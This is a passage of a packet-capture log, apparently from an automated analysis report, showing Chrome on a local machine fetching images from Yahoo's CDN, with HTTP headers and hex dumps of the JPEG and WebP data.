TnU#(I\|52f~_,W}Qi;bEM)N4]F}~u=KlS_SXA:f6&{7,)r[S1O_R^Q]voWUo;*xT73-RA[(}Eo]U,X]>I]a2LQKN$pNa
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 18 e2 69 0d f4 80 64 99 03 18 89 f6 d7 6e 8f 3f 5a 1e c5 34 18 78 82 b1 74 1c b7 2b 57 6a 41 e7 58 b9 c8 9e 02 72 12 95 19 e8 04 6f 0b aa 59 b9 67 9a e3 53 da b8 5c ce 17 80 2b a2 95 ef a0 b0 1c 30 84 47 ab e6 80 33 88 0a 18 49 0c 9e 03 41 75 91 89 eb 9a 37 15 58 11 e0 80 1c 7b dd 73 4a b4 14 27 25 6b c0 e4 bf 42 a3 61 0c 5e cc 63 f8 7d ac ec 47 b6 7b d0 5e 33 49 e0 7e 2a 99 82 61 fb 8e b2 24 fd 73 c1 0c b3 68 af 6f 56 1b cf c2 ab a4 17 a0 fa 92 14 87 0e 2d c8 23 4e a4 f2 99 d3 0d fc e8 4e ef 5d 69 d9 03 9a 71 9e f1 e9 05 5d 8a 7a 60 7c 38 cc 83 d2 50 5d 93 c4 58 f2 a9 ea 5b 5a 5c 34 d2 33 8d ef 47 41 a0 0c f3 89 fd c6 64 d8 7d 3e e0 d6 f2 76 7d cb 18 04 0d 3c a1 05 1e c9 40 89 09 65 3e 82 c1 02 b6 36 ed 8c 68 a7 cb b4 49 6e 14 ad 55 0d f8 65 79 04 7e 2d Data Ascii: idn?Z4xt+WjAXroYgS\+0G3IAu7X{sJ'%kBa^c}G{^3I~*a$shoV-#NN]iq]z`\|8P]X[Z\43GAd}>v}<@e>6hInUey~-
2024-01-10 23:27:09 UTC	732	IN	Data Raw: b9 19 de 28 dc 2a da a4 44 9e 1c 0f 28 59 fe 29 cb 23 4d 03 ba c4 93 96 16 58 96 9f e8 a9 06 94 a1 66 13 c0 f1 e7 ba a1 33 0d e1 ea d5 8d 10 b6 d4 75 88 a1 b1 ce 2c 3a eb 13 12 fb 69 26 f1 b5 e4 73 24 57 2c 67 a4 a4 e6 34 cc 6f 66 d1 05 69 8f 1a 01 67 63 f4 b9 35 42 2a 1d 0b 08 bb ba e9 d7 d5 b2 07 69 ad aa 4c 3a 9f d0 de 45 75 ef a1 9c 3e 81 0d 9a 1a b5 24 7b 93 01 49 01 1b 14 16 e8 96 2e 11 f5 5b 60 76 fc 7a 2a d8 67 21 10 39 a6 3a 66 94 6e 8c a8 ce c1 51 18 e6 7c 9c 52 8b 68 c4 d7 99 61 6c f3 2f e9 da 81 2d 3a 54 51 11 55 44 31 58 65 26 a6 fa d8 b1 e3 83 64 7f 78 ba 40 65 e8 78 b1 9d 36 09 fe 7d 4d 25 11 08 d4 61 5e da 55 11 80 c8 c1 60 b1 1c f8 e8 99 cf 87 a0 db c1 ef ec dc 86 67 11 4c a7 3a 14 87 c3 ec 83 ba 18 b2 fe 08 d5 6d 0b 50 f8 9d b2 5f ab cc Data Ascii: (D(Y)#MXf3u,:i&s$W,g4ofigc5BiL:Eu>${I.[`vz*g!9:fnQ\|Rhal/-:TQUD1Xe&dx@ex6}M%a^U`gL:mP_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49812	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	530	OUT	GET /uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1278	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 323221467239709153250724220959749928914,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a407ad50-affc-11ee-b5ff-62a691ec49a4.webp" Edge-Cache-Tag: 323221467239709153250724220959749928914,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Etag: "6c12b2dc98e544f7bf8c34b13af4cbb3" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 21:14:17 GMT Server: ATS Surrogate-Reporting: width=560,height=272,bytes=34492,owidth=7022,oheight=3954,obytes=2167225,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 22:30:03 GMT X-Served-By: cache-iad-kjyo7100115-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704925803.097063,VS0,VE1 Age: 3426 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100115-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 41390
2024-01-10 23:27:09 UTC	220	IN	Data Raw: 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: ATS-Carp-Promotion: 1Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: a7 b3 d4 f9 43 bd 9b cf d6 ad 99 a6 d6 ca dd 54 7f 3d bd e9 01 45 29 1d 8e 71 cf d0 d1 50 bd 65 27 68 24 e0 f3 d7 e7 54 a3 4e 14 e7 66 f0 14 7a 0a 53 53 c1 76 48 69 29 ec 3e d5 3a b3 7b cb 49 ea 33 50 b7 0e 07 61 40 27 34 c3 8a 48 23 00 01 40 b4 75 c3 5a c1 29 46 45 3d 64 d5 1d 73 02 52 ad 68 65 11 d6 ea 94 fa 42 02 46 49 38 3d 85 45 49 e5 0a a4 7f 0e 75 54 d4 ef 11 1b 67 70 1f de b8 07 f2 19 35 75 0c f5 f2 7d bf 07 ef eb fe fe 54 24 fc 94 a5 63 9f 95 4d 4a 75 4d 1e 0e 29 2d a4 3f 7a 00 a7 92 51 1f fd 55 4a be 57 fc 6e 0f 08 10 3f bb be f1 dc 7e 5f ff 00 fa a7 ed 1a cb ae 78 41 1c ed f2 af 4b 4e 3f 56 58 ce 7f f7 52 13 80 7c af 08 a7 25 c2 22 dc e3 ad 04 03 b9 69 21 5f 61 9f eb 4f ec 69 26 bf e8 96 ec 95 1f 36 e9 1d 20 7f 85 2a 27 af d3 b5 46 be 4d e9 be Data Ascii: CT=E)qPe'h$TNfzSSvHi)>:{I3Pa@'4H#@uZ)FE=dsRheBFI8=EIuTgp5u}T$cMJuM)-?zQUJWn?~_xAKN?VXR\|%"i!_aOi&6 *'FM
2024-01-10 23:27:09 UTC	103	IN	Data Raw: 9c e7 20 9c 55 dc 4f 4a 06 99 11 bf fa 45 86 e6 15 b8 db 96 9c 01 c6 37 1f f5 a5 c2 7d a9 ac bb 21 68 2b 52 3c c4 2d 6a 28 c1 fe 12 4e 3f 91 a2 66 2c fa 66 b6 37 53 a7 b5 45 fa 6b a7 2d b2 cb 8a 3c 7c 5f de 24 81 cf 53 e9 47 09 e7 10 8f 10 5c 4c f9 b0 a7 a7 68 44 a8 a8 74 7a e0 f3 ce 33 ce 08 15 8e 75 51 4b Data Ascii: UOJE7}!h+R<-j(N?f,f7SEk-<\|_$SG\LhDtz3uQK
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c2 15 bf 2b e1 42 88 ce e1 d3 d2 8f b5 d9 01 2e f9 c5 18 c6 0e 2a d1 92 64 76 f0 a2 3a 1f 4e b5 a4 22 68 b7 70 38 c1 07 1d 69 ca e1 11 de 48 a8 c9 3f 61 f2 db 38 20 72 7a 11 e9 59 e4 90 77 22 24 2b 7e d4 9f 6e bc d2 34 09 b1 76 ab 7f 41 c6 71 9a 42 25 1d 60 00 14 1c f8 95 91 b7 d2 b4 5a cf a4 8a 82 41 48 1c 93 9f b0 ac b3 99 c6 2e 06 29 97 c4 ef 52 13 d0 8e bc 55 fa 79 cc c4 4c 9c f4 8d 15 0b 0f 23 d0 1a d5 9a 54 94 8e 54 79 26 81 98 44 f2 02 80 56 00 09 e6 9c 94 05 be b4 b6 a1 b3 1c f3 c7 7a 8f b3 71 b5 14 b9 8c f7 a2 c5 a7 37 eb 4f a9 38 38 79 18 a6 08 da 4f 4a 90 fa 1a 1c 30 46 47 15 da e5 4b 95 08 bb 01 f6 92 3f 5b 4b 4e 3d 72 28 91 0c 8f c2 45 25 3a 9c 47 20 02 ec 75 a7 a7 71 cf f9 57 26 3e dc dd 19 e3 ec b6 d6 60 a4 57 5b 1d 50 e4 db 90 4e 31 f6 a0 Data Ascii: +B.*dv:N"hp8iH?a8 rzYw"$+~n4vAqB%`ZAH.)RUyL#TTy&DVzq7O88yOJ0FGK?[KN=r(E%:G uqW&>`W[PN1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e4 2e ba 21 9e 52 43 b0 d6 53 c8 cd 09 e2 42 66 c6 56 0f c3 41 4e 2a dd c2 11 c9 c8 c8 a0 95 d9 d0 7a e5 35 9c e3 e6 4e 39 90 c5 5b fe 3c ed 1f 6a ce 79 96 9c 74 7d a8 0a f4 1c 50 aa 84 86 e1 67 23 69 1e b4 09 71 c8 88 4f 05 14 8c 3e 4b 5b 01 00 50 af d8 35 e4 90 ac fa d4 ac d7 e9 a9 43 a9 59 07 22 9f 0b b1 38 2e 15 10 01 eb 43 35 b6 cd e5 20 a5 e5 94 a3 1d c9 c0 ad 14 b9 43 ba 5b a1 b2 24 4a 9c c3 6d a7 01 4b 52 c6 05 2b b4 33 bf 15 75 14 5b cc 56 d1 1a e7 11 f6 d8 94 a0 86 d9 49 dd b3 60 f8 8a b3 83 ce 46 30 3a 52 f9 67 9c f0 cb 1e 01 2e f4 c0 51 c0 c1 e4 9f f4 ac f2 e5 81 2b 58 2b 1b 89 00 e0 1f 97 d3 fc e8 02 b0 62 da 45 a6 44 db 84 a9 51 da f3 03 00 b3 14 3a 02 8e 4a 7a ad 27 9c 1e dd a9 4f 4d bd 2b 92 23 da f4 cb b9 5b 7a a1 e1 c1 29 4a ed db 7a 7a Data Ascii: .!RCSBfVAN*z5N9[<jyt}Pg#iqO>K[P5CY"8.C5 C[$JmKR+3u[VI`F0:Rg.Q+X+bEDQ:Jz'OM+#[z)Jzz
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 76 15 59 2f f6 03 9d 6f 29 18 3c fb d4 90 1c a8 c5 24 8c 52 95 47 c8 7a c7 63 4a 64 f2 e4 80 48 56 07 ce 97 84 f9 13 b6 1c ac 55 41 ca e3 6f 4a 16 c2 12 50 08 f3 59 1c f3 ff 00 78 29 c8 8f 0b 7b 56 c8 02 54 05 b7 0e 3b 6e a9 c5 00 a0 80 0f f7 6a 38 24 0f 6a 69 53 3c 51 b4 44 62 04 9b 94 66 82 1b 55 d0 37 b1 09 3b b9 8c da b2 4e 71 8c 9c 63 1f 5a 21 96 4c 86 42 12 a7 06 12 30 01 db d8 f3 d7 9f bd 63 93 19 37 e4 a9 47 e1 18 38 cd 11 ee 85 ae fa 77 48 4e d5 9a 32 74 18 8a 75 2f 09 cd 3b b9 28 49 1b 50 da 86 32 54 39 25 67 a0 38 c7 bd 5f cb 4f 4f a4 49 1e 19 df ac cd f9 92 54 95 80 43 63 0c 3b c9 59 da 39 4a 4a 47 24 77 cf a6 4f 15 1a c3 5c a0 b6 34 8c e6 96 19 7c bc 09 c7 08 86 f9 f4 1f c4 81 4b 54 54 ad b6 3f 0f 26 4f 53 ad a5 e7 d2 1a f8 48 5b 29 4a b2 52 Data Ascii: vY/o)<$RGzcJdHVUAoJPYx){VT;nj8$jiS<QDbfU7;NqcZ!LB0c7G8wHN2tu/;(IP2T9%g8_OOITCc;Y9JJG$wO\4\|KTT?&OSH[)JR
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: bb 29 5b a0 a1 49 4a 8e 06 42 81 eb f4 aa 2f 81 54 39 7a 0b 8e f5 d6 d8 db 31 9a 73 e2 7d b7 82 b0 4a 4a 46 53 d7 19 55 24 a3 ea 6b dc 98 f6 27 5d 88 e4 17 db 5e f4 b8 89 03 78 5a 76 a8 90 8c 11 95 0c 1a 68 54 2c 7e 0a 6b 2d 48 c4 39 b0 4c 36 db 9c c9 7d 85 3a e9 03 62 4e 08 3f 09 c1 f8 87 1f f3 a8 d6 d1 38 a7 ca fc 3c 78 83 0c 85 2d bb 7b c8 6c ee 57 95 27 27 03 d0 11 cd 5f f1 c9 6b 2d 02 d6 e2 f4 a3 6a b7 59 34 75 d2 53 64 b6 84 a1 a8 85 b5 e1 0d a4 29 c5 85 00 46 55 9a 8f 73 5c 7a 42 91 af e1 6a 08 d2 ad b0 74 dd d1 32 a1 f9 52 df 4f 96 8f dd b4 db a8 51 51 f8 ba 70 3e f9 a3 dc 32 ed 64 8b 75 bf 4b 60 c8 63 46 5e 16 d3 a9 0b 6c af c9 6f 20 f4 38 2b cd 5f 33 ca b6 07 77 50 5c ac ac 3f 7c 9b a7 1e 4c 5b 84 84 30 95 b9 29 b4 94 38 01 49 07 19 20 fc 27 39 Data Ascii: )[IJB/T9z1s}JJFSU$k']^xZvhT,~k-H9L6}:bN?8<x-{lW''_k-jY4uSd)FUs\zBjt2ROQQp>2duK`cF^lo 8+_3wP\?\|L[0)8I '9
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e5 0e 53 ad 38 ca 5e 71 af 31 25 05 6d 9c 2b 69 eb 83 d8 fb f6 a8 c9 2c 59 13 04 7f 16 6e 4e ce 82 98 76 d0 d3 0d bf 15 2a 18 f2 12 1b 4b 7b b8 c6 d0 a4 b6 54 07 00 03 c9 00 e4 c9 36 d8 3f b4 6d af e1 0e 52 b5 76 cc fc 62 b8 36 21 32 c4 37 06 c9 12 99 91 25 18 c8 4b 80 28 21 7e c5 43 23 df 60 3d b9 99 e4 f2 68 08 99 2e dd 0d 31 63 38 87 ef 17 25 15 29 c2 9f 85 27 80 a5 91 fe 04 0c 00 3b f0 3a 9c d5 e2 13 e2 e9 bb 0a 19 6d 0f 43 6d e7 5b c9 2f b8 80 5c 5a d5 9d ca 27 b9 24 93 48 95 4b e7 87 1f 97 2e 5c 2c 71 e3 dc 9d 27 71 69 f2 1b 20 76 09 09 01 27 eb 83 ee 69 e5 8e dd 20 0d 98 7a 8d 05 26 e1 6e 8f 11 71 f0 b0 d6 f4 87 0a 54 90 00 e4 90 07 ee c9 3c e7 9a 9f 2d a7 9c 6c d4 fd 51 35 b9 4d d9 a5 da d8 72 43 db 7c b7 94 bd a5 00 f4 da 41 c6 38 eb 4a 65 39 65 Data Ascii: S8^q1%m+i,YnNv*K{T6?mRvb6!27%K(!~C#`=h.1c8%)';:mCm[/\Z'$HK.\,q'qi v'i z&nqT<-lQ5MrC\|A8Je9e
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c7 7e 73 ad 90 0f 9d 1c bc ea fb 7c 03 18 fb 7a d1 b4 05 82 d5 71 bc 34 d2 a2 e9 ad 23 32 3b 38 25 b3 39 69 69 b4 67 d1 39 c8 fb 55 91 0f 5a 75 0c b5 ca 97 a8 25 79 49 09 05 2c c5 73 f7 6e 28 80 09 27 68 ec 31 8f 7a 54 03 f5 35 d2 d2 89 4d 5a db 9a 80 fb 8a d8 cf 9a 54 52 a5 0f e1 40 c6 14 79 1d 78 e6 9e 40 03 53 e9 6b 83 da 72 53 f1 e0 38 fb a1 23 69 2e 00 46 4e 09 19 38 e9 e9 59 a9 55 67 40 dd 14 c2 17 70 b9 5a 23 95 20 67 cd 7c 64 67 07 9c 7f ad 32 49 6f c3 b7 9a 53 28 73 56 da 19 2a 6d 2a 4a 1b 3b cf 4e 70 3e ff 00 7a 46 2b 66 8a c6 8c 9b e6 bd ad 59 65 3c 28 6c 61 7f ab be 00 e0 8a a5 b6 cb 05 d6 2d f6 d2 c5 ca 23 e9 75 97 c1 da e2 52 52 15 82 41 38 3d 39 14 bb e6 04 f1 c4 88 04 63 bd 30 56 d0 69 4c d0 24 a1 39 ce 2a d2 f1 42 7d 2a 54 46 c4 d3 a6 74 Data Ascii: ~s\|zq4#2;8%9iig9UZu%yI,sn('h1zT5MZTR@yx@SkrS8#i.FN8YUg@pZ# g\|dg2IoS(sVmJ;Np>zF+fYe<(la-#uRRA8=9c0ViL$9B}TFt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49813	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	752	OUT	GET /uu/api/res/1.2/74A7rwpEL9hbN4ZMvCarVw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/e626f1854c69d9a3bc93e631b399a4e6.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1286	IN	HTTP/1.1 200 OK Content-Length: 12346 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 294713629682154840156129247645992076780,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="e626f1854c69d9a3bc93e631b399a4e6.webp" Edge-Cache-Tag: 294713629682154840156129247645992076780,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "ff84789d6500281b8bcdf968c35d2202" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 22:15:30 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=12346,owidth=1692,oheight=1128,obytes=401824,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 22:15:29 GMT X-Served-By: cache-iad-kjyo7100128-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704924930.759582,VS0,VE25 Age: 4300 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-iad-kjyo7100128-IAD cld_latency: 25 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 32 30 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 17 02 00 1b 01 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF20WEBPVP8X ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 68 25 7b 77 09 cc 05 76 aa 73 8b 6f 37 18 9a b5 62 e0 ed 02 a9 48 4a 8c 72 5d aa f8 12 7b ee fe 79 02 d0 2b 19 af 0d 55 82 98 db 63 81 81 31 82 ba e5 21 a1 82 a2 0a 6d e9 f6 49 c8 8b f0 83 26 73 ff 4a d8 67 76 fa 78 43 1f b5 ff d2 cf 96 a5 fe 11 66 7a e1 25 59 96 99 78 51 46 e6 67 86 db 8f ba 9d c9 09 3d f2 b1 54 d5 cd 7c 78 6b e2 70 ba 1e e8 1b a9 b2 98 fb 99 0d e9 4c f7 38 d8 fe ba d9 ce 46 65 3b c1 f2 92 20 c5 fa 54 fa b2 78 89 66 75 ab de d6 c9 aa 77 31 be be 95 c8 1c a3 40 e1 eb 40 4b 92 22 18 c7 5a a3 b3 d5 2d 96 94 47 82 f2 3e 5e a6 57 4e 69 95 d5 f5 5c 46 2b 0d 45 8c 59 a5 3d 0c 65 3f da 0a 63 37 d8 18 20 a9 09 ea 3a 4e 82 e2 37 41 fa 8f cc 78 7b 87 9b 50 17 21 d3 6d 75 87 cc 61 51 4c 8a 8c c1 d1 be b8 10 53 78 09 b9 9c 17 bd 35 c3 e0 7e 0a 62 75 Data Ascii: h%{wvso7bHJr]{y+Uc1!mI&sJgvxCfz%YxQFg=T\|xkpL8Fe; Txfuw1@@K"Z-G>^WNi\F+EY=e?c7 :N7Ax{P!muaQLSx5~bu
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 25 95 6c 16 07 ee 3d ba c5 87 e2 d4 90 44 cc 4a 40 e1 59 f1 7c 1a 27 6e 7e 79 21 dd c2 99 cc a6 49 bc 90 6b 69 f2 1e 90 f5 f8 00 fe ef 83 63 d6 b1 12 64 5b 5c 5c f6 b0 fb 14 dc f1 ab fd 76 05 86 6e b1 e9 41 35 cf cb 68 49 95 1e 8d 1a c7 26 49 1c 02 4d b9 e3 cc 97 6b 7c 2d 7b ea 62 fa 94 2e 2a 8b 47 0a d8 6c c3 4d d5 e9 d6 ea c4 5b 42 87 56 8c f6 b0 c3 77 9b e6 18 6c ec cd 5f 94 73 f7 74 74 2e 01 e7 4f 1f 41 14 4f 01 90 76 79 4f 0c ca f5 eb 81 7f 1f a3 d7 4a 29 30 1a 5b 7b ab 62 4f 65 47 0d 00 51 1f 90 05 e1 2b fc 70 fa ab b9 da 27 ca 2b f0 9b c1 82 0e 59 ec 8a e3 2a ba 0c 53 1a e1 f2 6f 84 77 0f 3d b2 6b f0 32 cb 01 2b 22 88 b0 4c 68 70 ce 49 aa 0c f7 28 16 b4 08 fa a6 62 ef 24 cf 1e d7 2b ac 24 53 ef a2 16 80 91 30 43 f2 d0 6e 16 1f 88 60 62 5e 57 6b ef Data Ascii: %l=DJ@Y\|'n~y!Ikicd[\\vnA5hI&IMk\|-{b.GlM[BVwl_stt.OAOvyOJ)0[{bOeGQ+p'+YSow=k2+"LhpI(b$+$S0Cn`b^Wk
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c9 49 e2 a1 d6 9c c7 49 1e aa 54 4b 28 be 93 e6 08 a3 0c 2f eb 11 a9 12 93 a5 e1 d2 eb af 61 ed 67 80 5e 57 ff d7 1e 8e c5 64 b5 fb 2e 4c 2b 78 00 63 2d e0 db d4 05 a5 72 fb 7d 5c cf 1d 23 c0 c3 71 69 37 b0 78 a9 cf 6c f4 8e dd d5 34 45 9c b8 bf 0d ae 90 21 5e 7f 6a 80 84 ce 5e 40 cc ef 88 25 57 08 a1 76 17 f0 ec 5f 65 b7 dd 4e 3b 32 89 d5 21 ab 72 ae fb ca af 51 c0 83 7c 5d cb 8a 97 73 a3 6b 29 2c 19 65 fb a1 71 b6 fb fa 52 51 fe 34 30 70 9a db 41 64 cd c0 dd b4 0a 76 0f 59 7f e1 71 a4 e6 27 8a 8b 6f 36 47 69 9c 5f 3a 90 d8 b1 65 35 b2 d3 39 ad dd c1 2f 5b fb 33 29 52 43 05 39 d4 60 1f 14 4e 21 d5 31 56 dc fc f4 00 74 69 45 1c 52 b4 b8 88 8a 38 4e 3b dd bf 0a 55 a6 56 16 3e ad 8a c6 f1 7e fb ad 8d 6e 08 bb d9 e6 b9 3c 8a e0 b9 2f 7c ff 27 e0 62 bf 49 36 Data Ascii: IITK(/ag^Wd.L+xc-r}\#qi7xl4E!^j^@%Wv_eN;2!rQ\|]sk),eqRQ40pAdvYq'o6Gi_:e59/[3)RC9`N!1VtiER8N;UV>~n</\|'bI6
